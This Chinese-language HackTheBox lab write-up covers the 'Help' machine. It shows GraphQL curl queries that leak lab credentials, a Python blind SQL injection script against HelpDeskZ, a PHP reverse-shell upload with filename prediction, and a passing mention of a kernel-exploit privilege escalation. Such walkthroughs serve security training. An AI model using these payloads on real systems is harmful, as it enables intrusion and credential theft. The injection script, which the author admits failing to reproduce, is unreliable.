Help

来源:HackTheBox

难度:Medium

nmap -O -A -Pn -sV -sS -p- 10.10.10.121

发现目标开放了80,22,3000端口,并运行着一些服务:

常规思路对80端口进行目录扫描,发现/support/目录跑着一个HelpDeskZ的服务,递归扫描该目录发现readme.html文件,查看得到版本为1.0.2,searchsploit发现有两个漏洞,一个未授权文件上传,一个登陆后SQL,访问页面发现提交工单处有文件上传,此时我们已经有三个思路,逐个测试发现未授权文件上传不可行,剩下两个方法均可以,这里分别说明

登陆后SQL

既然需要登陆后SQL,首要目标就是要登录,我们要如何获取这个登陆账号呢,此时3000端口上运行的服务就显得很可疑了,访问显示如下内容:

尝试结合nmap结果,搜索如下关键词Express js query language找到相关内容(wp是这样写的,能找到graphql,但我不行,注意搜索内容是尽量使用国外环境,因为题目更加面向国外),知道用的语言是graphql,访问/graphql目录显示query参数缺失:

尝试使用常见值如user password等作为参数内容,使用graphql语句查询(形如{user},{user{password}}这样神似json的格式):

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq

# 相当于请求了:http://10.10.10.121:3000/graphql?query=%7Buser%7D
# url编码了"query={user}"

提示需要user的subfields:

用形如{user{password}}的语句查询:

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq

# 返回了用户名,继续查密码

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password} }' | jq

成功查出密码:

得到账号密码:helpme@helpme.com:godhelpmeplz
随后我们登录进去,并尝试登陆后的SQL注入漏洞,searchsploit给出的脚本不能使用,但可以根据其指引内容中的手注语句写出新的脚本,注入需要的库名表名可以在其github上找到:

# python2

from requests import get
import string
cookies = {'lang': 'english',
	'PHPSESSID': 'se3q2q1vtvmb71acq5i16ajtf1',
	'usrhash':'0Nwx5jIdx+P2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ/iYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHDu89nyBt7elyC8vIIYgpCcpqa%2BUhLVh9kcZWIcDfKPw=='}
url = 'http://10.10.10.121/support/?v='
chars = list(string.ascii_lowercase) + list(string.digits)
password = []
k = 1
while k <= 40:
	for i in chars:
		payload = url+"view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]= 6 and substr((select password from staff limit 0,1),{},1) = '{}'---".format(k,i)
		resp = get(payload, cookies=cookies)
		if '404' not in resp.content:
			password.append(i)
			print 'Password: ' + ''.join(password)
			k = k + 1
		break

根据实际情况修改请求头cookie,运行得到账号密码:help:Welcome1
可通过此密码登录上ssh
实操过程中发现始终无法复现脚本这一步,不清楚是什么问题
补充:傻了 忘记可以上sqlmap了 但oscp也不可以用sqlmap

工单处文件上传

在工单处发现一个文件上传,上传测试发现不知道返回地址,但是对上传文件没有做任何校验,github上有源代码,可以审计一下:

可知其上传的路径形如/support/something/tickets,又因为github项目中有uploads文件夹,所以猜测是路径为/support/uploads/tickets/something.php,随后我们上传一个php_reverse_shell并且按照代码逻辑(md5(文件名+时间戳))搞出重命名后的名称,访问即可获得一个反弹shell

提权

非常简单,内核漏洞直接拿下,没有难度

⬆︎TOP